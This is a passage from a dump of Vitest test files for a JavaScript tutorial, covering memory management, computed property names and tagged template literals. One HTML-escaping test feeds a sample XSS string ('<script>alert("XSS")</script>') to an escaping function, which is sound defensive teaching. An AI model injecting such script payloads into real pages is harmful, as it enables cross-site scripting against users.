expect(pool.getActiveCount()).toBe(2)\n    })\n  })\n\n  describe('String Concatenation Efficiency', () => {\n    // Source: memory-management.mdx lines ~535-550\n    it('should build strings efficiently using array join', () => {\n      const iterations = 1000\n      \n      // Build array, join once\n      const parts = []\n      for (let i = 0; i < iterations; i++) {\n        parts.push(`item ${i}`)\n      }\n      const result = parts.join(', ')\n      \n      expect(result.startsWith('item 0')).toBe(true)\n      expect(result.endsWith('item 999')).toBe(true)\n      expect(parts.length).toBe(iterations)\n    })\n  })\n\n  describe('WeakRef (Advanced)', () => {\n    // Source: memory-management.mdx lines ~415-430\n    it('should create weak reference to object', () => {\n      let target = { name: 'test' }\n      const ref = new WeakRef(target)\n      \n      // deref() returns the target if it still exists\n      expect(ref.deref()?.name).toBe('test')\n      \n      // While target is still referenced, deref() works\n      expect(ref.deref()).toBe(target)\n    })\n\n    it('should demonstrate WeakRef API', () => {\n      const obj = { value: 42 }\n      const weakRef = new WeakRef(obj)\n      \n      // deref() returns the object\n      const dereferenced = weakRef.deref()\n      expect(dereferenced?.value).toBe(42)\n    })\n  })\n\n  describe('Memory Lifecycle Phases', () => {\n    // Source: memory-management.mdx lines ~65-95\n    it('should demonstrate allocation phase', () => {\n      // Allocation happens automatically\n      const name = \"Alice\"\n      const user = { id: 1, name: \"Alice\" }\n      const items = [1, 2, 3]\n      \n      expect(name).toBe(\"Alice\")\n      expect(user.id).toBe(1)\n      expect(items.length).toBe(3)\n    })\n\n    it('should demonstrate use phase', () => {\n      const user = { name: \"Alice\", age: 25 }\n      \n      // Read from memory\n      const name = user.name\n      expect(name).toBe(\"Alice\")\n      \n      // Write to memory\n      user.age = 30\n      expect(user.age).toBe(30)\n    })\n\n    it('should demonstrate how function scope enables release', () => {\n      function processData() {\n        const tempData = { huge: new Array(100).fill('x') }\n        return tempData.huge.length\n      }\n      \n      // After processData() returns, tempData is unreachable\n      const result = processData()\n      expect(result).toBe(100)\n      // tempData can now be garbage collected\n    })\n  })\n\n  describe('Multiple References', () => {\n    it('should track objects with multiple references', () => {\n      let a = { value: 1 }\n      let b = a  // Same object\n      let c = a  // Same object\n      \n      expect(a).toBe(b)\n      expect(b).toBe(c)\n      \n      a.value = 2\n      expect(b.value).toBe(2)\n      expect(c.value).toBe(2)\n    })\n\n    it('should demonstrate reference independence after reassignment', () => {\n      let a = { value: 1 }\n      let b = a\n      \n      // Now b points to new object\n      b = { value: 2 }\n      \n      expect(a.value).toBe(1)\n      expect(b.value).toBe(2)\n      expect(a).not.toBe(b)\n    })\n  })\n\n  describe('Cleanup Patterns', () => {\n    it('should demonstrate nullifying references', () => {\n      let data = { large: new Array(100).fill('data') }\n      \n      // Use the data\n      const length = data.large.length\n      expect(length).toBe(100)\n      \n      // Nullify to allow GC\n      data = null\n      expect(data).toBe(null)\n    })\n\n    it('should demonstrate clearing collections', () => {\n      const items = [1, 2, 3, 4, 5]\n      \n      expect(items.length).toBe(5)\n      \n      // Clear array\n      items.length = 0\n      expect(items.length).toBe(0)\n    })\n\n    it('should demonstrate Map/Set cleanup', () => {\n      const map = new Map()\n      map.set('a', 1)\n      map.set('b', 2)\n      \n      expect(map.size).toBe(2)\n      \n      map.clear()\n      expect(map.size).toBe(0)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/modern-syntax-operators/computed-property-names/computed-property-names.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Computed Property Names', () => {\n\n  describe('Basic Syntax', () => {\n    // Source: computed-property-names.mdx lines 7-15 (Opening code example)\n    it('should demonstrate ES6 computed property vs ES5 two-step pattern', () => {\n      // Before ES6 - two steps required\n      const key = 'status'\n      const obj = {}\n      obj[key] = 'active'\n\n      // ES6 computed property names - single expression\n      const key2 = 'status'\n      const obj2 = { [key2]: 'active' }\n\n      expect(obj).toEqual({ status: 'active' })\n      expect(obj2).toEqual({ status: 'active' })\n    })\n\n    // Source: computed-property-names.mdx lines 36-45 (What are Computed Property Names)\n    it('should evaluate expression in brackets to determine property name', () => {\n      const field = 'email'\n      const value = 'alice@example.com'\n\n      const formData = {\n        [field]: value,\n        [`${field}_verified`]: true\n      }\n\n      expect(formData).toEqual({\n        email: 'alice@example.com',\n        email_verified: true\n      })\n    })\n\n    // Source: computed-property-names.mdx lines 86-96 (Variable as Key)\n    it('should use variable value as property name', () => {\n      const propName = 'score'\n      const player = {\n        name: 'Alice',\n        [propName]: 100\n      }\n\n      expect(player).toEqual({ name: 'Alice', score: 100 })\n      expect(player.score).toBe(100)\n    })\n\n    // Source: computed-property-names.mdx lines 98-109 (Template Literal as Key)\n    it('should support template literals as computed keys', () => {\n      const prefix = 'user'\n      const id = 42\n\n      const data = {\n        [`${prefix}_${id}`]: 'Alice',\n        [`${prefix}_${id}_role`]: 'admin'\n      }\n\n      expect(data).toEqual({\n        user_42: 'Alice',\n        user_42_role: 'admin'\n      })\n    })\n\n    // Source: computed-property-names.mdx lines 111-122 (Expression as Key)\n    it('should support expressions as computed keys', () => {\n      const i = 0\n\n      const obj = {\n        ['prop' + (i + 1)]: 'first',\n        ['prop' + (i + 2)]: 'second',\n        [1 + 1]: 'number key'\n      }\n\n      expect(obj['2']).toBe('number key')\n      expect(obj.prop1).toBe('first')\n      expect(obj.prop2).toBe('second')\n    })\n\n    // Source: computed-property-names.mdx lines 124-133 (Function Call as Key)\n    it('should support function calls as computed keys', () => {\n      function getKey(type) {\n        return `data_${type}_test`\n      }\n\n      const cache = {\n        [getKey('user')]: { name: 'Alice' }\n      }\n\n      expect(cache.data_user_test).toEqual({ name: 'Alice' })\n      expect(Object.keys(cache)[0]).toBe('data_user_test')\n    })\n  })\n\n  describe('Order of Evaluation', () => {\n    // Source: computed-property-names.mdx lines 141-153 (Key Before Value)\n    it('should evaluate key expression before value expression', () => {\n      let counter = 0\n\n      const obj = {\n        [++counter]: counter,  // key: 1, value: 1\n        [++counter]: counter,  // key: 2, value: 2\n        [++counter]: counter   // key: 3, value: 3\n      }\n\n      expect(obj).toEqual({ '1': 1, '2': 2, '3': 3 })\n    })\n\n    it('should process properties left-to-right in source order', () => {\n      const order = []\n\n      const obj = {\n        [(order.push('key1'), 'a')]: (order.push('val1'), 1),\n        [(order.push('key2'), 'b')]: (order.push('val2'), 2)\n      }\n\n      expect(order).toEqual(['key1', 'val1', 'key2', 'val2'])\n      expect(obj).toEqual({ a: 1, b: 2 })\n    })\n  })\n\n  describe('Type Coercion (ToPropertyKey)', () => {\n    // Source: computed-property-names.mdx lines 167-178 (Type Coercion examples)\n    it('should coerce various types to strings', () => {\n      const obj = {\n        [42]: 'number',\n        [true]: 'boolean',\n        [null]: 'null',\n        [[1, 2, 3]]: 'array'\n      }\n\n      expect(obj).toEqual({\n        '42': 'number',\n        'true': 'boolean',\n        'null': 'null',\n        '1,2,3': 'array'\n      })\n    })\n\n    // Source: computed-property-names.mdx lines 180-183 (Number/string collision)\n    it('should treat number and string keys as the same property', () => {\n      const obj = {\n        [42]: 'number key'\n      }\n\n      expect(obj[42]).toBe('number key')\n      expect(obj['42']).toBe('number key')  // Same property!\n    })\n\n    it('should convert undefined to string', () => {\n      const obj = {\n        [undefined]: 'undefined value'\n      }\n\n      expect(obj['undefined']).toBe('undefined value')\n    })\n\n    it('should convert objects using toString()', () => {\n      const customObj = {\n        toString() {\n          return 'customKey'\n        }\n      }\n\n      const obj = {\n        [customObj]: 'custom object key'\n      }\n\n      expect(obj.customKey).toBe('custom object key')\n    })\n\n    it('should convert plain objects to [object Object]', () => {\n      const plainObj = { id: 1 }\n\n      const obj = {\n        [plainObj]: 'plain object key'\n      }\n\n      expect(obj['[object Object]']).toBe('plain object key')\n    })\n  })\n\n  describe('Pre-ES6 Comparison', () => {\n    // Source: computed-property-names.mdx lines 191-201 (ES5 pattern)\n    it('should show ES5 two-step pattern equivalence', () => {\n      function createUserES5(role, name) {\n        const obj = {}\n        obj[role] = name\n        return obj\n      }\n\n      const admin = createUserES5('admin', 'Alice')\n      expect(admin).toEqual({ admin: 'Alice' })\n    })\n\n    // Source: computed-property-names.mdx lines 213-227 (ES6 patterns)\n    it('should enable elegant reduce patterns with computed properties', () => {\n      const fields = ['name', 'email', 'age']\n      const defaults = fields.reduce(\n        (acc, field) => ({ ...acc, [field]: '' }),\n        {}\n      )\n\n      expect(defaults).toEqual({ name: '', email: '', age: '' })\n    })\n  })\n\n  describe('Symbol Keys', () => {\n    // Source: computed-property-names.mdx lines 235-244 (Symbol syntax requirement)\n    it('should require computed syntax for Symbol keys', () => {\n      const mySymbol = Symbol('id')\n\n      // This creates a string key \"mySymbol\", NOT a Symbol key!\n      const wrong = { mySymbol: 'value' }\n      expect(Object.keys(wrong)).toEqual(['mySymbol'])\n\n      // This uses the Symbol as the key\n      const correct = { [mySymbol]: 'value' }\n      expect(Object.keys(correct)).toEqual([])  // Symbols don't appear in keys!\n      expect(Object.getOwnPropertySymbols(correct)).toEqual([mySymbol])\n    })\n\n    // Source: computed-property-names.mdx lines 248-262 (Symbol keys are hidden)\n    it('should hide Symbol keys from iteration methods', () => {\n      const secret = Symbol('secret')\n\n      const user = {\n        name: 'Alice',\n        [secret]: 'classified information'\n      }\n\n      // Symbol keys are hidden from these:\n      expect(Object.keys(user)).toEqual(['name'])\n      expect(JSON.stringify(user)).toBe('{\"name\":\"Alice\"}')\n\n      const keysFromForIn = []\n      for (const key in user) {\n        keysFromForIn.push(key)\n      }\n      expect(keysFromForIn).toEqual(['name'])\n\n      // But you can still access them:\n      expect(user[secret]).toBe('classified information')\n      expect(Object.getOwnPropertySymbols(user)).toEqual([secret])\n    })\n\n    // Source: computed-property-names.mdx lines 268-287 (Symbol.iterator)\n    it('should make objects iterable with Symbol.iterator', () => {\n      const range = {\n        start: 1,\n        end: 5,\n\n        [Symbol.iterator]() {\n          let current = this.start\n          const end = this.end\n\n          return {\n            next() {\n              if (current <= end) {\n                return { value: current++, done: false }\n              }\n              return { done: true }\n            }\n          }\n        }\n      }\n\n      expect([...range]).toEqual([1, 2, 3, 4, 5])\n\n      const collected = []\n      for (const num of range) {\n        collected.push(num)\n      }\n      expect(collected).toEqual([1, 2, 3, 4, 5])\n    })\n\n    // Source: computed-property-names.mdx lines 291-301 (Symbol.toStringTag)\n    it('should customize type string with Symbol.toStringTag', () => {\n      const myCollection = {\n        items: [],\n        [Symbol.toStringTag]: 'MyCollection'\n      }\n\n      expect(Object.prototype.toString.call(myCollection)).toBe('[object MyCollection]')\n      expect(Object.prototype.toString.call({})).toBe('[object Object]')\n    })\n\n    // Source: computed-property-names.mdx lines 305-322 (Symbol.toPrimitive)\n    it('should enable custom type coercion with Symbol.toPrimitive', () => {\n      const temperature = {\n        celsius: 20,\n\n        [Symbol.toPrimitive](hint) {\n          switch (hint) {\n            case 'number':\n              return this.celsius\n            case 'string':\n              return `${this.celsius}°C`\n            default:\n              return this.celsius\n          }\n        }\n      }\n\n      expect(+temperature).toBe(20)  // number hint\n      expect(`${temperature}`).toBe('20°C')  // string hint\n      expect(temperature + 10).toBe(30)  // default hint\n    })\n\n    // Source: computed-property-names.mdx lines 326-347 (Privacy patterns)\n    it('should provide encapsulation with module-scoped Symbols', () => {\n      const _balance = Symbol('balance')\n\n      class BankAccount {\n        constructor(initial) {\n          this[_balance] = initial\n        }\n\n        deposit(amount) {\n          this[_balance] += amount\n        }\n\n        getBalance() {\n          return this[_balance]\n        }\n      }\n\n      const account = new BankAccount(100)\n      expect(Object.keys(account)).toEqual([])\n      expect(JSON.stringify(account)).toBe('{}')\n      expect(account.getBalance()).toBe(100)\n\n      account.deposit(50)\n      expect(account.getBalance()).toBe(150)\n\n      // Still accessible if you know about Symbols:\n      const symbols = Object.getOwnPropertySymbols(account)\n      expect(symbols.length).toBe(1)\n      expect(account[symbols[0]]).toBe(150)\n    })\n  })\n\n  describe('Computed Method Names', () => {\n    // Source: computed-property-names.mdx lines 355-368 (Basic computed methods)\n    it('should support computed method names', () => {\n      const action = 'greet'\n\n      const obj = {\n        [action]() {\n          return 'Hello!'\n        },\n        [`${action}Loudly`]() {\n          return 'HELLO!'\n        }\n      }\n\n      expect(obj.greet()).toBe('Hello!')\n      expect(obj.greetLoudly()).toBe('HELLO!')\n    })\n\n    // Source: computed-property-names.mdx lines 372-386 (Computed generator methods)\n    it('should support computed generator methods', () => {\n      const iteratorName = 'values'\n\n      const collection = {\n        items: [1, 2, 3],\n\n        *[iteratorName]() {\n          for (const item of this.items) {\n            yield item * 2\n          }\n        }\n      }\n\n      expect([...collection.values()]).toEqual([2, 4, 6])\n    })\n\n    it('should support computed async methods', () => {\n      const fetchName = 'fetchData'\n\n      const api = {\n        async [fetchName]() {\n          return Promise.resolve('data')\n        }\n      }\n\n      expect(typeof api.fetchData).toBe('function')\n      expect(api.fetchData()).toBeInstanceOf(Promise)\n    })\n  })\n\n  describe('Computed Getters and Setters', () => {\n    // Source: computed-property-names.mdx lines 401-422 (Getters and setters)\n    it('should support computed getters and setters', () => {\n      const prop = 'fullName'\n\n      const person = {\n        firstName: 'Alice',\n        lastName: 'Smith',\n\n        get [prop]() {\n          return `${this.firstName} ${this.lastName}`\n        },\n\n        set [prop](value) {\n          const parts = value.split(' ')\n          this.firstName = parts[0]\n          this.lastName = parts[1]\n        }\n      }\n\n      expect(person.fullName).toBe('Alice Smith')\n\n      person.fullName = 'Bob Jones'\n      expect(person.firstName).toBe('Bob')\n      expect(person.lastName).toBe('Jones')\n    })\n\n    it('should support Symbol-keyed accessors', () => {\n      const _value = Symbol('value')\n\n      const validated = {\n        [_value]: 0,\n\n        get [Symbol.for('value')]() {\n          return this[_value]\n        },\n\n        set [Symbol.for('value')](v) {\n          if (typeof v !== 'number') {\n            throw new TypeError('Value must be a number')\n          }\n          this[_value] = v\n        }\n      }\n\n      validated[Symbol.for('value')] = 42\n      expect(validated[Symbol.for('value')]).toBe(42)\n\n      expect(() => {\n        validated[Symbol.for('value')] = 'not a number'\n      }).toThrow(TypeError)\n    })\n  })\n\n  describe('Real-World Use Cases', () => {\n    // Source: computed-property-names.mdx lines 451-465 (Form field handling)\n    it('should handle form field state updates', () => {\n      function handleInputChange(fieldName, value) {\n        return {\n          [fieldName]: value,\n          [`${fieldName}Touched`]: true,\n          [`${fieldName}Error`]: null\n        }\n      }\n\n      const updates = handleInputChange('email', 'alice@example.com')\n      expect(updates).toEqual({\n        email: 'alice@example.com',\n        emailTouched: true,\n        emailError: null\n      })\n    })\n\n    // Source: computed-property-names.mdx lines 469-483 (Redux-style state)\n    it('should handle Redux-style state updates', () => {\n      function updateField(state, field, value) {\n        return {\n          ...state,\n          [field]: value,\n          lastModified: 'now'\n        }\n      }\n\n      const state = { name: 'Alice', email: '' }\n      const newState = updateField(state, 'email', 'alice@example.com')\n\n      expect(newState.name).toBe('Alice')\n      expect(newState.email).toBe('alice@example.com')\n      expect(newState.lastModified).toBe('now')\n    })\n\n    // Source: computed-property-names.mdx lines 487-500 (i18n)\n    it('should create internationalization translation objects', () => {\n      function createTranslations(locale, translations) {\n        return {\n          [`messages_${locale}`]: translations,\n          [`${locale}_loaded`]: true\n        }\n      }\n\n      const spanish = createTranslations('es', { hello: 'hola' })\n      expect(spanish.messages_es).toEqual({ hello: 'hola' })\n      expect(spanish.es_loaded).toBe(true)\n    })\n\n    // Source: computed-property-names.mdx lines 504-521 (API response mapping)\n    it('should normalize API responses with dynamic keys', () => {\n      function normalizeResponse(entityType, items) {\n        return items.reduce((acc, item) => ({\n          ...acc,\n          [`${entityType}_${item.id}`]: item\n        }), {})\n      }\n\n      const users = [\n        { id: 1, name: 'Alice' },\n        { id: 2, name: 'Bob' }\n      ]\n\n      const normalized = normalizeResponse('user', users)\n      expect(normalized).toEqual({\n        user_1: { id: 1, name: 'Alice' },\n        user_2: { id: 2, name: 'Bob' }\n      })\n    })\n  })\n\n  describe('Edge Cases and Gotchas', () => {\n    // Source: computed-property-names.mdx lines 527-537 (Duplicate keys)\n    it('should let last duplicate key win', () => {\n      const key = 'same'\n\n      const obj = {\n        [key]: 'first',\n        ['sa' + 'me']: 'second',\n        same: 'third'  // Static key, same string\n      }\n\n      expect(obj).toEqual({ same: 'third' })\n    })\n\n    // Source: computed-property-names.mdx lines 541-552 (Keys that throw)\n    it('should abort object creation if key expression throws', () => {\n      function badKey() {\n        throw new Error('Key evaluation failed')\n      }\n\n      expect(() => {\n        const obj = {\n          valid: 'ok',\n          [badKey()]: 'never reached'\n        }\n      }).toThrow('Key evaluation failed')\n    })\n\n    // Source: computed-property-names.mdx lines 556-565 (Object toString collisions)\n    it('should cause collisions when objects toString to same value', () => {\n      const objA = { toString: () => 'key' }\n      const objB = { toString: () => 'key' }\n\n      const data = {\n        [objA]: 'first',\n        [objB]: 'second'  // Overwrites! Both → 'key'\n      }\n\n      expect(data).toEqual({ key: 'second' })\n    })\n\n    // Source: computed-property-names.mdx lines 569-582 (__proto__ special case)\n    it('should treat __proto__ differently in computed vs non-computed form', () => {\n      // Non-computed: Sets the prototype!\n      const obj1 = { __proto__: Array.prototype }\n      expect(obj1 instanceof Array).toBe(true)\n      expect(Object.hasOwn(obj1, '__proto__')).toBe(false)\n\n      // Computed: Creates a normal property\n      const obj2 = { ['__proto__']: Array.prototype }\n      expect(obj2 instanceof Array).toBe(false)\n      expect(Object.hasOwn(obj2, '__proto__')).toBe(true)\n\n      // Shorthand: Also creates a normal property\n      const __proto__ = 'just a string'\n      const obj3 = { __proto__ }\n      expect(obj3.__proto__).toBe('just a string')\n      expect(Object.hasOwn(obj3, '__proto__')).toBe(true)\n    })\n\n    it('should handle empty string as key', () => {\n      const obj = {\n        ['']: 'empty key'\n      }\n\n      expect(obj['']).toBe('empty key')\n      expect(Object.keys(obj)).toEqual([''])\n    })\n\n    it('should handle whitespace-only keys', () => {\n      const obj = {\n        [' ']: 'space',\n        ['\\t']: 'tab',\n        ['\\n']: 'newline'\n      }\n\n      expect(obj[' ']).toBe('space')\n      expect(obj['\\t']).toBe('tab')\n      expect(obj['\\n']).toBe('newline')\n    })\n\n    it('should allow reserved words as computed keys', () => {\n      const reserved = 'class'\n\n      const obj = {\n        [reserved]: 'value',\n        ['for']: 'another',\n        ['return']: 'yet another'\n      }\n\n      expect(obj.class).toBe('value')\n      expect(obj.for).toBe('another')\n      expect(obj.return).toBe('yet another')\n    })\n  })\n\n  describe('Comparison with Regular Assignment', () => {\n    it('should be equivalent to bracket notation assignment', () => {\n      const key = 'dynamic'\n      const value = 'test'\n\n      // These are semantically equivalent\n      const obj1 = { [key]: value }\n\n      const obj2 = {}\n      obj2[key] = value\n\n      expect(obj1).toEqual(obj2)\n      expect(obj1).toEqual({ dynamic: 'test' })\n    })\n\n    it('should allow mixing computed and static properties', () => {\n      const dynamicKey = 'computed'\n\n      const obj = {\n        staticKey: 'static value',\n        [dynamicKey]: 'computed value',\n        anotherStatic: 'another value',\n        [`${dynamicKey}_suffix`]: 'suffixed value'\n      }\n\n      expect(obj).toEqual({\n        staticKey: 'static value',\n        computed: 'computed value',\n        anotherStatic: 'another value',\n        computed_suffix: 'suffixed value'\n      })\n    })\n  })\n\n  describe('Integration with Object Methods', () => {\n    it('should work with Object.fromEntries pattern', () => {\n      const entries = [\n        ['a', 1],\n        ['b', 2],\n        ['c', 3]\n      ]\n\n      // Object.fromEntries is essentially computed properties under the hood\n      const obj = Object.fromEntries(entries)\n      expect(obj).toEqual({ a: 1, b: 2, c: 3 })\n\n      // Equivalent with reduce and computed properties\n      const obj2 = entries.reduce(\n        (acc, [key, value]) => ({ ...acc, [key]: value }),\n        {}\n      )\n      expect(obj2).toEqual({ a: 1, b: 2, c: 3 })\n    })\n\n    it('should work with Object.entries for round-trip', () => {\n      const original = { a: 1, b: 2, c: 3 }\n      const entries = Object.entries(original)\n\n      // Transform and recreate\n      const doubled = entries.reduce(\n        (acc, [key, value]) => ({ ...acc, [`${key}_doubled`]: value * 2 }),\n        {}\n      )\n\n      expect(doubled).toEqual({\n        a_doubled: 2,\n        b_doubled: 4,\n        c_doubled: 6\n      })\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/modern-syntax-operators/tagged-template-literals/tagged-template-literals.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Tagged Template Literals', () => {\n  // ============================================================\n  // OPENING EXAMPLE\n  // From tagged-template-literals.mdx lines 9-20\n  // ============================================================\n\n  describe('Opening Example', () => {\n    // From lines 9-20: highlight tag function\n    it('should wrap interpolated values in <mark> tags', () => {\n      function highlight(strings, ...values) {\n        return strings.reduce((result, str, i) => {\n          const value = values[i] !== undefined ? `<mark>${values[i]}</mark>` : ''\n          return result + str + value\n        }, '')\n      }\n\n      const name = 'Alice'\n      const age = 30\n\n      const result = highlight`User ${name} is ${age} years old`\n      expect(result).toBe('User <mark>Alice</mark> is <mark>30</mark> years old')\n    })\n  })\n\n  // ============================================================\n  // WHAT ARE TAGGED TEMPLATE LITERALS\n  // From tagged-template-literals.mdx lines 41-51\n  // ============================================================\n\n  describe('What are Tagged Template Literals', () => {\n    // From lines 45-51: Basic tag function call\n    it('should call tag function with template literal', () => {\n      let called = false\n      function myTag(strings, ...values) {\n        called = true\n        return 'processed'\n      }\n\n      const result = myTag`Hello ${'World'}`\n      expect(called).toBe(true)\n      expect(result).toBe('processed')\n    })\n  })\n\n  // ============================================================\n  // HOW TAG FUNCTIONS WORK\n  // From tagged-template-literals.mdx lines 80-140\n  // ============================================================\n\n  describe('How Tag Functions Work', () => {\n    describe('The Basic Signature', () => {\n      // From lines 95-107: inspect function\n      it('should receive strings and values as separate arguments', () => {\n        let capturedStrings = null\n        let capturedValues = null\n\n        function inspect(strings, ...values) {\n          capturedStrings = strings\n          capturedValues = values\n        }\n\n        const fruit = 'apple'\n        const count = 5\n\n        inspect`I have ${count} ${fruit}s`\n\n        expect(capturedStrings).toEqual(['I have ', ' ', 's'])\n        expect(capturedValues).toEqual([5, 'apple'])\n        expect(capturedStrings.length).toBe(3)\n        expect(capturedValues.length).toBe(2)\n      })\n    })\n\n    describe('The Golden Rule', () => {\n      // From lines 113-125: strings.length === values.length + 1\n      it('should always have one more string than values', () => {\n        function countParts(strings, ...values) {\n          return `${strings.length} strings, ${values.length} values`\n        }\n\n        expect(countParts`${1}`).toBe('2 strings, 1 values')\n        expect(countParts`x${1}`).toBe('2 strings, 1 values')\n        expect(countParts`${1}y`).toBe('2 strings, 1 values')\n        expect(countParts`x${1}y`).toBe('2 strings, 1 values')\n        expect(countParts`x${1}y${2}z`).toBe('3 strings, 2 values')\n      })\n\n      // From lines 127-135: interleave function\n      it('should correctly interleave strings and values', () => {\n        function interleave(strings, ...values) {\n          let result = ''\n          for (let i = 0; i < values.length; i++) {\n            result += strings[i] + values[i]\n          }\n          result += strings[strings.length - 1]\n          return result\n        }\n\n        const name = 'World'\n        expect(interleave`Hello, ${name}!`).toBe('Hello, World!')\n      })\n    })\n\n    describe('A Cleaner Pattern with reduce', () => {\n      // From lines 139-145: reduce pattern\n      it('should interleave using reduce', () => {\n        function simple(strings, ...values) {\n          return strings.reduce((result, str, i) => {\n            const value = values[i] !== undefined ? values[i] : ''\n            return result + str + value\n          }, '')\n        }\n\n        expect(simple`Hello, ${'World'}!`).toBe('Hello, World!')\n        expect(simple`No interpolations`).toBe('No interpolations')\n        expect(simple`${1}${2}${3}`).toBe('123')\n      })\n    })\n  })\n\n  // ============================================================\n  // THE RAW STRINGS PROPERTY\n  // From tagged-template-literals.mdx lines 151-195\n  // ============================================================\n\n  describe('The Raw Strings Property', () => {\n    describe('Cooked vs Raw', () => {\n      // From lines 159-170: showBoth function\n      it('should provide both cooked and raw strings', () => {\n        let cookedValue = null\n        let rawValue = null\n\n        function showBoth(strings) {\n          cookedValue = strings[0]\n          rawValue = strings.raw[0]\n        }\n\n        showBoth`Line1\\nLine2`\n\n        // Cooked: escape sequence is processed\n        expect(cookedValue).toBe('Line1\\nLine2')\n        expect(cookedValue.includes('\\n')).toBe(true) // actual newline\n\n        // Raw: escape sequence is preserved\n        expect(rawValue).toBe('Line1\\\\nLine2')\n        expect(rawValue.includes('\\\\n')).toBe(true) // literal backslash-n\n      })\n    })\n  })\n\n  // ============================================================\n  // STRING.RAW: THE BUILT-IN TAG\n  // From tagged-template-literals.mdx lines 201-250\n  // ============================================================\n\n  describe('String.raw', () => {\n    describe('Basic Usage', () => {\n      // From lines 207-215: String.raw basic example\n      it('should preserve escape sequences as literal characters', () => {\n        // Normal template literal - escape sequences processed\n        const normal = `Line1\\nLine2`\n        expect(normal).toBe('Line1\\nLine2')\n        expect(normal.length).toBe(11) // 5 + 1 + 5\n\n        // String.raw - escape sequences stay as literals\n        const raw = String.raw`Line1\\nLine2`\n        expect(raw).toBe('Line1\\\\nLine2')\n        expect(raw.length).toBe(12) // 5 + 2 + 5\n      })\n    })\n\n    describe('Perfect for File Paths', () => {\n      // From lines 219-226: Windows file paths\n      it('should handle Windows file paths cleanly', () => {\n        const path1 = 'C:\\\\Users\\\\Alice\\\\Documents\\\\file.txt'\n        const path2 = String.raw`C:\\Users\\Alice\\Documents\\file.txt`\n\n        expect(path1).toBe(path2)\n      })\n    })\n\n    describe('Perfect for Regular Expressions', () => {\n      // From lines 230-239: Regex patterns\n      it('should simplify regex patterns', () => {\n        const pattern1 = new RegExp('\\\\d+\\\\.\\\\d+')\n        const pattern2 = new RegExp(String.raw`\\d+\\.\\d+`)\n\n        expect(pattern1.test('3.14')).toBe(true)\n        expect(pattern2.test('3.14')).toBe(true)\n        expect(pattern1.source).toBe(pattern2.source)\n      })\n    })\n\n    describe('How String.raw Works Under the Hood', () => {\n      // From lines 243-249: String.raw as function\n      it('should work as both tag and regular function', () => {\n        const tagged = String.raw`Hi\\n${2 + 3}!`\n        const functional = String.raw({ raw: ['Hi\\\\n', '!'] }, 5)\n\n        expect(tagged).toBe('Hi\\\\n5!')\n        expect(functional).toBe('Hi\\\\n5!')\n      })\n    })\n  })\n\n  // ============================================================\n  // BUILDING CUSTOM TAG FUNCTIONS\n  // From tagged-template-literals.mdx lines 256-340\n  // ============================================================\n\n  describe('Building Custom Tag Functions', () => {\n    describe('Example 1: HTML Escaping', () => {\n      // From lines 262-282: html tag function\n      it('should escape HTML entities in interpolated values', () => {\n        function escapeHTML(str) {\n          return str\n            .replace(/&/g, '&amp;')\n            .replace(/</g, '&lt;')\n            .replace(/>/g, '&gt;')\n            .replace(/\"/g, '&quot;')\n            .replace(/'/g, '&#39;')\n        }\n\n        function html(strings, ...values) {\n          return strings.reduce((result, str, i) => {\n            const value = values[i] !== undefined ? escapeHTML(String(values[i])) : ''\n            return result + str + value\n          }, '')\n        }\n\n        const userInput = '<script>alert(\"XSS\")</script>'\n        const safe = html`<div>User said: ${userInput}</div>`\n\n        expect(safe).toBe('<div>User said: &lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;</div>')\n        expect(safe.includes('<script>')).toBe(false)\n      })\n    })\n\n    describe('Example 2: Highlighting Values', () => {\n      // From lines 288-302: highlight tag\n      it('should wrap all interpolated values in mark tags', () => {\n        function highlight(strings, ...values) {\n          return strings.reduce((result, str, i) => {\n            const value = values[i] !== undefined ? `<mark>${values[i]}</mark>` : ''\n            return result + str + value\n          }, '')\n        }\n\n        const product = 'Widget'\n        const price = 29.99\n\n        const message = highlight`The ${product} costs $${price}`\n        expect(message).toBe('The <mark>Widget</mark> costs $<mark>29.99</mark>')\n      })\n    })\n\n    describe('Example 3: Currency Formatting', () => {\n      // From lines 306-325: currency tag\n      it('should format numbers as currency', () => {\n        function currency(strings, ...values) {\n          const formatter = new Intl.NumberFormat('en-US', {\n            style: 'currency',\n            currency: 'USD'\n          })\n\n          return strings.reduce((result, str, i) => {\n            let value = values[i]\n            if (typeof value === 'number') {\n              value = formatter.format(value)\n            }\n            return result + str + (value ?? '')\n          }, '')\n        }\n\n        const item = 'Coffee'\n        const price = 4.5\n        const tax = 0.36\n\n        const result = currency`${item}: ${price} + ${tax} tax`\n        expect(result).toBe('Coffee: $4.50 + $0.36 tax')\n      })\n    })\n\n    describe('Example 4: Debug Logging', () => {\n      // From lines 329-345: debug tag\n      it('should show types and JSON values', () => {\n        function debug(strings, ...values) {\n          let output = ''\n          strings.forEach((str, i) => {\n            output += str\n            if (i < values.length) {\n              const type = typeof values[i]\n              const val = JSON.stringify(values[i])\n              output += `[${type}: ${val}]`\n            }\n          })\n          return output\n        }\n\n        const user = { name: 'Alice', age: 30 }\n        const items = ['apple', 'banana']\n\n        const result = debug`User: ${user}, Items: ${items}`\n        expect(result).toBe('User: [object: {\"name\":\"Alice\",\"age\":30}], Items: [object: [\"apple\",\"banana\"]]')\n      })\n    })\n  })\n\n  // ============================================================\n  // ADVANCED PATTERNS\n  // From tagged-template-literals.mdx lines 350-420\n  // ============================================================\n\n  describe('Advanced Patterns', () => {\n    describe('Returning Non-Strings', () => {\n      // From lines 356-372: toArray and toObject\n      it('should return an array of values', () => {\n        function toArray(strings, ...values) {\n          return values\n        }\n\n        const result = toArray`${1} and ${2} and ${3}`\n        expect(result).toEqual([1, 2, 3])\n      })\n\n      it('should return an object from template', () => {\n        function toObject(strings, ...values) {\n          // More robust key extraction - handles the actual string splitting\n          const keys = strings.slice(0, -1).map(s => {\n            // Extract the key name from strings like \"name: \" or \", age: \"\n            const match = s.match(/(\\w+)\\s*:\\s*$/)\n            return match ? match[1] : ''\n          })\n          const obj = {}\n          keys.forEach((key, i) => {\n            if (key) obj[key] = values[i]\n          })\n          return obj\n        }\n\n        const name = 'Alice'\n        const age = 30\n        const result = toObject`name: ${name}, age: ${age},`\n        expect(result).toEqual({ name: 'Alice', age: 30 })\n      })\n    })\n\n    describe('Reusable Template Factories', () => {\n      // From lines 376-395: template factory\n      it('should create reusable templates', () => {\n        function template(strings, 